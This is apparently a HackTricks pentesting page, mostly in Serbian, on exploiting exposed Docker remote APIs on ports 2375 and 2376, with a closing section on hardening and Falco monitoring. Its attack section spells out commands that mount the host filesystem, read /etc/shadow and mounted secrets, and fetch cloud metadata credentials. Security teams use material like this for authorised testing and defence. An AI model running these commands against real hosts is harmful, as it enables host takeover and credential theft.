2375, 2376 Pentesting Docker

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Docker Osnove

Šta je

Docker je vodeća platforma u industriji kontejnerizacije, predvodeći kontinuirane inovacije. Omogućava jednostavno kreiranje i distribuciju aplikacija, od tradicionalnih do futurističkih, i obezbeđuje njihovo sigurno raspoređivanje u različitim okruženjima.

Osnovna Docker arhitektura

  • containerd: Ovo je core runtime za kontejnere, zadužen za sveobuhvatno upravljanje životnim ciklusom kontejnera. To uključuje rukovanje preuzimanjem i skladištenjem image-a, kao i nadzor i upravljanje izvršavanjem, nadgledanjem i umrežavanjem kontejnera. Detaljniji uvidi u containerd su dodatno razmotreni.
  • The container-shim igra ključnu ulogu kao posrednik u rukovanju bezglavim kontejnerima, besprekorno preuzimajući od runc nakon što su kontejneri inicijalizovani.
  • runc: Poznat po svojim laganim i univerzalnim container runtime sposobnostima, runc je usklađen sa OCI standardom. Koristi ga containerd da pokrene i upravlja kontejnerima prema OCI smernicama, razvio se iz originalnog libcontainer.
  • grpc je ključan za olakšavanje komunikacije između containerd i docker-engine, osiguravajući efikasnu interakciju.
  • The OCI je ključan za održavanje OCI specifikacija za runtime i image-e, pri čemu su najnovije verzije Docker-a usklađene sa standardima OCI image i runtime.

Osnovne komande

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd je posebno razvijen da zadovolji potrebe platformi za kontejnere kao što su Docker i Kubernetes, između ostalog. Njegov cilj je da pojednostavi izvršavanje kontejnera na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo suštinske funkcije potrebne korisnicima, nastojeći da izostavi nepotrebne komponente. Međutim, potpuno ostvarenje tog cilja se priznaje kao izazovno.

Ključna arhitektonska odluka je da Containerd ne upravlja umrežavanjem. Umrežavanje se smatra kritičnim elementom u distribuiranim sistemima, sa složenostima kao što su softverski definisano umrežavanje (SDN) i otkrivanje servisa, koje se znatno razlikuju od platforme do platforme. Stoga Containerd prepušta aspekte umrežavanja platformama koje podržava.

Dok Docker koristi Containerd za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup Docker-ovih funkcionalnosti. Konkretno, Containerd nema mogućnosti upravljanja mrežom koje postoje u Docker-u i ne podržava direktno kreiranje Docker swarms. Ovo razlikovanje ističe fokusiranu ulogu Containerd-a kao okruženja za pokretanje kontejnera, delegirajući specijalizovanije funkcionalnosti platformama sa kojima se integriše.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman is an open-source container engine that adheres to the Open Container Initiative (OCI) standards, developed and maintained by Red Hat. It stands out from Docker with several distinct features, notably its daemonless architecture and support for rootless containers, enabling users to run containers without root privileges.

Podman is designed to be compatible with Docker’s API, allowing for the use of Docker CLI commands. This compatibility extends to its ecosystem, which includes tools like Buildah for building container images and Skopeo for image operations such as push, pull, and inspect. More details on these tools can be found on their GitHub page.

Ključne razlike

  • Arhitektura: Za razliku od Docker-ovog client-server modela sa background daemon-om, Podman radi bez daemona. Ovaj dizajn znači da containere pokreće korisnik koji ih startuje, što poboljšava sigurnost eliminisanjem potrebe za root pristupom.
  • Systemd integracija: Podman se integriše sa systemd za upravljanje containerima, omogućavajući upravljanje kroz systemd jedinice. Ovo je u kontrastu sa Docker-ovim korišćenjem systemd-a pretežno za upravljanje Docker daemon procesom.
  • Rootless containers: Ključna osobina Podman-a je mogućnost pokretanja containera pod privilegijama korisnika koji ih inicira. Ovaj pristup minimizira rizike povezane sa kompromitovanjem containera tako što napadač dobija samo privilegije kompromitovanog korisnika, a ne root pristup.

Podmanov pristup nudi sigurnu i fleksibilnu alternativu Dockeru, naglašavajući upravljanje privilegijama korisnika i kompatibilnost sa postojećim Docker radnim tokovima.

Tip

Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:

podman --version
podman info
pdoman images ls
podman ls

Osnovne informacije

Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / (root directory) to the container and read/write files of the host’s environment.

Podrazumevani port: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Enumeracija

Ručno

Imajte na umu da, kako biste izvršili enumeraciju docker API-ja, možete koristiti komandu docker ili curl, kao u sledećem primeru:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

Ako možete da kontaktirate udaljeni docker API pomoću docker komande, možete da izvršite bilo koju od docker komandi ranije pomenutih za interakciju sa servisom.

Tip

Možete da export DOCKER_HOST="tcp://localhost:2375" i izbegnete korišćenje -H parametra sa docker komandom

Fast privilege escalation

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

Ponekad ćete videti 2376 otvoren za TLS endpoint. Nisam uspeo da se povežem na njega pomoću docker client-a, ali je moguće to uraditi koristeći curl.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Ako želite više informacija o ovome, detaljnije informacije su dostupne na mestu odakle sam kopirao komande: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automatski

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

Na sledećoj stranici možete pronaći načine da escape from a container:

Container Security

Zloupotrebom ovoga moguće je escape from a container — možete pokrenuti slab container na udaljenom računaru, escape from it i compromise the machine:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Privilege Escalation

Ako se nalazite na hostu koji koristi docker, možete read this information to try to elevate privileges.

Otkrivanje tajni u pokrenutim Docker kontejnerima

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Proverite env (environment variable section) za tajne i možete pronaći:

  • Lozinke.
  • IP adrese.
  • Portove.
  • Putanje.
  • Ostalo… .

Ako želite da izvučete fajl:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Osiguravanje Docker-a

Osiguravanje Docker instalacije i upotrebe

  • Možete koristiti alat https://github.com/docker/docker-bench-security da pregledate trenutnu docker instalaciju.
  • ./docker-bench-security.sh
  • Možete koristiti alat https://github.com/kost/dockscan da pregledate trenutnu docker instalaciju.
  • dockscan -v unix:///var/run/docker.sock
  • Možete koristiti alat https://github.com/genuinetools/amicontained da proverite privilegije koje će kontejner imati kada se pokrene sa različitim sigurnosnim opcijama. Ovo je korisno da razumete implikacije korišćenja nekih security opcija pri pokretanju kontejnera:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Osiguravanje Docker Images

  • Možete koristiti docker image od https://github.com/quay/clair da skenirate ostale docker images i pronađete ranjivosti.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Osiguravanje Dockerfile-ova

Logovanje sumnjivih aktivnosti

  • Možete koristiti alat https://github.com/falcosecurity/falco za otkrivanje sumnjivog ponašanja u pokrenutim kontejnerima.
  • Obratite pažnju u sledećem primeru kako Falco kompajlira kernel modul i ubacuje ga. Nakon toga učitava pravila i počinje da loguje sumnjive aktivnosti. U ovom slučaju detektovao je 2 privilegovana kontejnera koja su pokrenuta, jedan od njih sa osetljivim mount-om, i posle nekoliko sekundi detektovao je otvaranje shel-a unutar jednog od kontejnera.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Nadzor Docker

Možete koristiti auditd za nadzor docker.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks